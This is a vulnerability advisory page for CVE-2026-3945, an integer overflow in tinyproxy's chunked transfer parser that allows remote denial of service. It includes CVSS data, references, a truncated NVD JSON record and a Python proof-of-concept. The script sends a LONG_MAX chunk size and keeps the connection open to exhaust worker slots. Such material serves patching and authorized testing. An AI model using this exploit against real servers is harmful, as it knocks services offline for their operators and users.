CVE-2026-3945

Description

An integer overflow vulnerability in the HTTP chunked transfer encoding parser in tinyproxy up to and including version 1.11.3 allows an unauthenticated remote attacker to cause a denial of service (DoS). The issue occurs because chunk size values are parsed using strtol() without properly validating overflow conditions (e.g., errno == ERANGE). A crafted chunk size such as 0x7fffffffffffffff (LONG_MAX) bypasses the existing validation check (chunklen < 0), leading to a signed integer overflow during arithmetic operations (chunklen + 2). This results in incorrect size calculations, causing the proxy to attempt reading an extremely large amount of request-body data and holding worker connections open indefinitely. An attacker can exploit this behavior to exhaust all available worker slots, preventing new connections from being accepted and causing complete service unavailability. Upstream addressed this issue in commit bb7edc4; however, the latest stable release (1.11.3) remains affected at the time of publication.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

tinyproxy <= 1.11.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import sys

# Target configuration
target_host = "127.0.0.1"
target_port = 8888

# Malicious chunk size: LONG_MAX causing integer overflow
# 0x7fffffffffffffff = 9223372036854775807
payload = "9223372036854775807\r\n"

def send_exploit():
    try:
        # Connect to the tinyproxy server
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_host, target_port))
        
        # Send HTTP request with crafted chunked encoding
        request = (
            "GET / HTTP/1.1\r\n"
            "Host: {}\r\n"
            "Transfer-Encoding: chunked\r\n"
            "\r\n"
            "{}".format(target_host, payload)
        )
        
        s.send(request.encode())
        print("[+] Malicious payload sent. Connection should hang.")
        # Keep connection open to exhaust worker slot
        while True:
            pass
            
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    send_exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3945
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3945
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3945/
[4] VulDB https://vuldb.com/cve/CVE-2026-3945
[5] https://github.com/tinyproxy/tinyproxy/commit/969852c
[6] https://github.com/tinyproxy/tinyproxy/commit/bb7edc4
[7] https://github.com/tinyproxy/tinyproxy/issues/602
[8] https://github.com/tinyproxy/tinyproxy/pull/603
[9] https://github.com/tinyproxy/tinyproxy/releases

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3945", "sourceIdentifier": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "published": "2026-03-30T08:16:17.653", "lastModified": "2026-03-30T13:26:07.647", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer overflow vulnerability in the HTTP chunked transfer encoding parser in tinyproxy up to and including version 1.11.3 allows an unauthenticated remote attacker to cause a denial of service (DoS). The issue occurs because chunk size values are parsed using strtol() without properly validating overflow conditions (e.g., errno == ERANGE). A crafted chunk size such as 0x7fffffffffffffff (LONG_MAX) bypasses the existing validation check (chunklen < 0), leading to a signed integer overflow during arithmetic operations (chunklen + 2). This results in incorrect size calculations, causing the proxy to attempt reading an extremely large amount of request-body data and holding worker connections open indefinitely. An attacker can exploit this behavior to exhaust all available worker slots, preventing new connections from being accepted and causing complete service unavailability. Upstream addressed this issue in commit bb7edc4; however, the latest stable release (1.11.3) remains affected at the time of publication."}, {"lang": "es", "value": "Una vulnerabilidad de desbordamiento de entero en el analizador de codificación de transferencia fragmentada HTTP en tinyproxy hasta la versión 1.11.3 inclusive permite a un atacante remoto no autenticado causar una denegación de servicio (DoS). El problema ocurre porque los valores de tamaño de fragmento se analizan usando strtol() sin validar adecuadamente las condiciones de desbordamiento (p. ej., errno == ERANGE). Un tamaño de fragmento manipulado como 0x7fffffffffffffff (LONG_MAX) omite la comprobación de validación existente (chunklen &lt; 0), lo que lleva a un desbordamiento de entero con signo durante las operaciones aritméticas (chunklen + 2). Esto resulta en cálculos de tamaño incorrectos, lo que hace que el proxy intente leer una cantidad extremadamente grande de datos del cuerpo de la solicitud y manteniendo las conexiones de los trabajadores abiertas indefinidamente. Un atacante puede explotar este comportamiento para agotar todos los espacios de trabajador disponibles, impidiendo que se acepten nuevas conexiones y causando una indisponibilidad completa del servicio. El upstream abordó este problema en el commit bb7edc4; sin embargo, la última versión estable (1.11.3) sigue afectada en el momento de la publicación."}], "metrics": {"cvssMetricV40": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "baseScore": 7.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "COMP

... (truncated)